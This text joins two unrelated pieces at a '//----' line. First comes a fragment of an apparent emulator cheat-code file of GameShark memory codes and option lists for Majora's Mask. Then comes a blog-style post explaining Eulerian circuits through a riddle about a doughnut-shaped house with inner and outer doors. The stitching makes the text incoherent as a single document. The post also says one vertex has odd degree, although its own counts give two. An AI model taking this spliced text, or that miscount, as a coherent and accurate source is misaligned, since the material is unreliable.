Cheat10_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat11_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat12_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat13_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat14_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat31_O=$6C Empty Bottle,$6B Red Potion,$66 Green Potion,$65 Blue Potion,$68 Fairy,$67 Deku Princess,$72 Milk,$71 Milk (1/2),$74 Fish,$73 Bug,$6E Blue Fire,$6D Poe,$70 Big Poe,$6F Spring Water,$7A Hot Spring Water,$79 Zora Egg,$7C Gold Dust,$7B Magical Mushroom,$76 Sea Horse,$75 Chateau Romani,$78 Japanese Bottle?,$77 Empty Japanese Bottle?
Cheat33_N=Only put the Deity Link's Sword on, if using The Play As Fierce Deity Link Code, if not it will turn Fierce Deity Link into a crazed slashing Machine. You have been warned.
Cheat34_O=$5A Fierce Deity Link,$59 Goron Link,$5C Zora Link,$5B Deku Link,$56 Normal Link
Cheat36_N=Press L To Levitate & Let go to land
Cheat37="Beta World 1",D03DDFDB 0000,E874BEA6 59??
Cheat37_O=$5A Mama's House,$59 Fearful Spider House,$5C Beneaf the Graveyard,$5B Southern Swamp Mr Tingle Entry,$58 Outside Tourist Information Southern Swamp,$62 Outside Magic Hag's Potion Shop,$64 Southern Swamp Woods Of Mystery Entry,$76 Counter Of The Tresure Chest Shop,$80 Woodfall Temple non Beta,$8C Spider Hand,$85 Statue outside Gorman Track,$88 Statue outside Lair Of The Temples Boss,$92 Path to Romani Ranch non Beta,$A4 outside The Royal Palace of the Deku Kingdom,$9E Ledge in The Royal Palace of the Deku Kingdom,$A0 inside The Royal Palace of the Deku Kingdom 1,$C9 Green Blobs,$C6 Cave Portal to Last Boss Field,$CF Waterfall Sothern Swamp,$E4 Giant Turtle In the Temple non beta,$E3 Room of Miau & Tijo Zora Great Hall,$E6 Recieving Gorans Mask non Beta,$E5 ?,$E8 Hungry Goran in the Snow,$FC Statue in Stone Tower,$F8 Stone Tower non Beta,$11 Recieving Deku Mask non Beta,$31 Giant Lizards in a Cave,$34 Cave with Steaming Water,$4F Vamps House In Ikana Canyon
Cheat37_N=Put on the code on load up,After the Nintendo logo you will be in that place of Choice.you can also choose another place & then press F1 (reset) to go to that place this is for beta interest only it will not assist you in playing the game.
Cheat39="Stop Time",801E6B64 FFFF,801E6B65 FFFF,801E6B66 FFFF,801E6B67 FDFD
Cheat40="Speed Up Time",801E6B64 0000,801E6B65 0000,801E6B66 0000,801E6B67 0A0A
Cheat41="Jump to Night",811E6B5C FF60,801E6B6B 01??,801E6B6F 01??
Cheat42="Greatly Speed Up Time",801E6B64 0000,801E6B65 0000,801E6B66 0000,801E6B67 5050
Cheat43="Greatly Reverse Time",801E6B64 FFFF,801E6B65 FFFF,801E6B66 FFFF,801E6B67 B0B0
Cheat41_O=$01 First Day,$02 Second Day,$03 Final Day,$04 New Day,$05 ??
Cheat9_O=$01 First Day,$02 Second Day,$03 Final Day,$04 New Day,$05 ??
Cheat44="Infinite Swimming",803F7CC2 0002
Cheat45="Disable A Button",801F2D50 0080
Cheat46="No Continuing Magic Use",801EAA79 0000
Cheat47="Always Wearing Bunny Hood",803F73A3 0004,803F73A5 0017
Cheat48="Gasping for Air",803F7CC2 0004
Cheat49="Change Ocarina Sound",D01ECD93 000A,801E6B70 00??,D21ECD93 000A,801E6B70 0004
Cheat50="Freeze Enemies",803F7CBF 0050
Cheat51="Ghostwalk",803F7CBF 0080
Cheat52="Ineffective Weapons",813F6844 0001
Cheat53="Electrify",813F7DB2 00FF
Cheat54="Play As (Change Delayed, Actions Immediate)",801E6B70 00??
Cheat49_O=$33 Singing,$81 Chimes,$85 Monkey,$8D Bass Guitar,$A9 Bahs,$FD Overdriven Guitar
Cheat55="Change Idle Animation (Don't move)",803F739B 00??
Cheat55_O=$00 FD Link,$01 Goron Link,$02 Zora Link,$03 Deku Link,$04 Normal Link
Cheat34_N=Also see 1E6B70
Cheat56="Normal-sized Giant",803F73A3 0014
Cheat56_N=Equip the Giant's Mask to a slot first.
Cheat57="Swim as Normal Link",D01E6B70 0004,803F739B 0004,D13F749A E000,803F739B 0002,D13F749A E3D8,813F74A0 4188,D13F749A E3D8,813F74A4 4120,D13F749A E3D8,D03DDFDB 0010,813F7DB2 00FF
Cheat58="Always Wearing Stone Mask",803F73A3 0010
Cheat59="Change A Button Text to Swim",813F4BBA 0025,813F4BBC 0025,80250C51 0016,80250C52 00FF,80250C53 006E,80250C54 0024
Cheat54_O=$00 FD Link,$01 Goron Link,$02 Zora Link,$03 Deku Link,$04 Normal Link
Cheat60="Infinite Water Skipping",D03F7DB7 0000,803F7DB7 0005
Cheat61="Put Away Sword",811EAA68 FFFF
Cheat62="Change Animation",813F749A ????
Cheat62_O=,$E300 Gesticulating Wildly,$D0B0 Mask of Scents,$DE40 Walking,$DF28 Idle,$E000 Treading,$E3D8 Swimming,$D228 Bremen March,$D0C8 Putting on Mask,$E2E0 Taking off Mask,$E270 Spinning,$DCD8 Hopping,$CF98 Kamaro Dance,$E208 Rolling,$DFC8 Climbing,$DDB8 Ocarina Playing,$DC00 Sliding,$CF50 Floating Up,$CF58 Floating Down,$D0D8 Waving Goodbye,$E010 Horseback Riding,$D788 Swinging Sword (Start),$D790 Swinging Sword (End)
Cheat63="Act Like a Pig",803F73A3 0013,813F749A D0B0
Cheat64="Test Band",814081D6 0CC9,80408349 0000,81408352 7670,8040A6B3 0003,8040A6B5 0003,8140DDE0 2290
Cheat65="Clear Z Target",813F7982 0000
Cheat65_N=This demonstrates capturing the current Z-target. 8090 targets the Zora Band Leader, A3B0 Jamun, DB70 Lulu.
Cheat64_N=Some of these may actually be 32-bit.
Cheat66="Test Band2",80408347 0006,80408349 0006,8040A6B3 0003,8040A6B5 0003,8040DE93 0004
Cheat67="Reset Animation",813F74A8 0000
Cheat67_N=813F74A4 has max. value, 813F74A0 has "reset to" value, 813F74A8 has current value.
Cheat68="Control Epona (While Walking)",81411234 803F,81411236 7250
Cheat68_N=Camera: 801E516D 0020, 801F0578 003B
Cheat69="Always Riding Epona",813F7998 8076,813F799A D2E0
Cheat70="Always Able to Ride Epona (By Hitting L+A)",D03DDFDB 0020,813F75E0 8041,D03DDFDB 0020,813F75E2 1110
Cheat71="Freeze Link",813F74C4 0080
Cheat72="Jumping Bean",813F74C4 000B,813F74CA FFFF,813F74CC FEF7
Cheat73="Move with Animation",813F74C4 000B,813F74C6 0000,813F74C8 0000
Cheat74="Epona Always Following",80411257 0003
Cheat75="Change Link and Epona's Positions",813F7274 AC3F,813F7276 BC9A,813F7278 A309,813F727A 0000,813F727C 458F,813F727E A67B,81411134 AC3F,81411136 BC9A,81411138 A309,8141113A 0000,8141113C 458F,8141113E A67B
Cheat75_N=3F7274-E: Link X, Z, Y, 411134-E: Epona X, Z, Y
Cheat76="Bird's Eye View",813F7278 4461,813F727A 70F0
Cheat77="Infinite Carrots",8041134B 0000
Cheat78="Press L To Alter Velocity",D03DDFDB 0020,813F72B8 ????,D03DDFDB 0020,81411178 ????
Cheat78_O=,$4300 Strongly Negative,$4150 Moderately Negative,$4000 Slightly Negative,$3F8F Near-Zero,$3F7F Zero,$3F60 Near+Zero,$3F00 Slight,$3D00 Moderate,$C080 Ordinary,$C150 Maximum Walking,$C800 Strong,$FFFF Maximum
Cheat79="Press L To Alter Acceleration",D03DDFDB 0020,813F72C4 ????,D03DDFDB 0020,81411184 ????
Cheat79_N=Differs from descent in that acceleration will occur with this code.
Cheat79_O=,$4300 Catapult!,$4150 Strongly Upwards,$4000 Rather Upwards,$3F8F Moderately Upwards,$3F00 Slightly Upwards,$3D00 Near-Zero,$0000 Zero,$C010 Slightly Downwards,$C080 Ordinary,$C150 Downwards,$C800 Strong,$FFFF Maximum
Cheat80="Walkin' On The Moon",813F7278 464C,813F727A 1000,813F72B8 3F7F
Cheat81="Deform Link (Y)",813F72B0 ????
Cheat82="Convulsions",813F74A0 4100,813F74A4 4110,813F74A8 4100
Cheat81_O=,$0000 Paper Thin,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Warping
Cheat83="Water Skip as Normal Link",803F739B 0004,D13F749A DFC0,803F739B 0003,D13F749A DD30,803F739B 0003,D13F749A DFD8,803F739B 0003,D13F749A E000,803F739B 0003,813F74A0 4100,813F74A4 4110,813F74A8 0000
Cheat84="Fast Epona",81411180 41F1
Cheat85="Flying Horse (L brakes)",D13F799A D2E0,81411178 3050,D13F799A D2E0,81411180 41F1,81411184 0000,D13F799A D2E0,D03DDFDD 0072,81411184 C300,D13F799A D2E0,D03DDFDD 0072,81411180 41A1,D03DDFDD 008D,D13F799A D2E0,81411184 4170,D13F799A D2E0,81411256 000A,D13F799A D2E0,D03DDFDB 0020,81411256 0007
Cheat86="Test Speed",813F72BC C240,813F72B4 C240,813F72D8 4288,803F7289 0002,803F72A1 00ED,813F72C0 4240,813F7610 C4AC,813F7614 C4AC,813F7618 C4AC,813F761C C4AC,813F7312 0003,813F7314 C00A,813F7316 7EB0
Cheat87="Deform Link (X,Y)",813F72A8 ????,813F72B0 ????
Cheat87_O=,$0000 Invisible,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Floor
Cheat88="Deform Link (X)",813F72A8 ????
Cheat88_O=,$0000 Paper Thin,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Warping
Cheat89="Deform Link (Z)",813F72AC ????
Cheat89_O=,$0000 Paper Thin,$3B70 Thin,$BB70 Thin Backwards,$3C23 Ordinary,$BC23 Backwards,$3D70 Stretched Normal,$BD00 Stretched Backwards,$4000 Warping

//----

On Doughnut Shaped Houses

I was seeking problems to be solved using graph theory concepts for instruction of my class and found one on an online IQ test. This is similar to the “7 Bridges of Königsberg” Problem:

“If a doughnut shaped house has two doors to the outside and three doors to the inner courtyard, then it’s possible to end up back at your starting place by walking through all five doors of the house without ever walking through the same door twice.”

To present this in graph theory language, we’re looking for an Eulerian circuit across a graph with 3 vertices and 5 edges. This means the exact same thing as the problem above.

Think of each of those 3 vertices as a “state”. One of them is “inside of the house”. Another is “inside of the courtyard” and the third is “outside”.

Every time we enter a part of the house, we must also leave it. So for us to start on the inside, go outside, and end up back inside when we finally finish, for example, we’ll need to cross an even number of doors. This would be true even if we could somehow go from the inner courtyard directly outside.

This turns out to be a requirement of every “state” we pass through: it must be entered and it must be left. If we weren’t concerned with ending up in the starting location, we could make two exceptions to this: the starting state, which one does not require a door to initially enter, and the ending state, from which one does not leave. Ordinarily, these could tolerate an odd number of doors. But since we want to start and end in the same location, we don’t even have that luxury: if we don’t enter once and don’t leave once, we skip two doors and we’re back to an even number.

In the language of graph theory, we call the number of adjacent edges to a vertex the degree of that vertex. What we can then say is that an Eulerian circuit – a path that crosses every edge once and ends at the same vertex it began – requires every vertex in the graph to have an even degree.

In other words, all “areas” within the house must have an even number of doors for such a path to exist. So what is the degree of each vertex? (how many doors lead in and out of each area?)

Two doors exist between the inside and the outside and three exist between the inside and the courtyard.

One of the vertices has an odd degree, thus no Eulerian circuit exists and it is not possible to cross each door once and end up back where you started.

There’s also a bit more relaxed traversal called an “Eulerian path”, which removes the restriction that we must end in the starting location. That would indeed be possible: start in the courtyard, walk through the three doors, leaving you in the inside, and walk the two doors from the inside to the outside. This starts you in the courtyard and ends inside of the house.

Let’s say that we’ve been hired as a contractor by the owners of the doughnut shaped house, who wish to exercise every morning by taking an Eulerian circuit around the house. How could we rectify this?

The answer is to either build another door between the inside and the courtyard or to knock one down.

Whichever is cheaper to do, I suppose.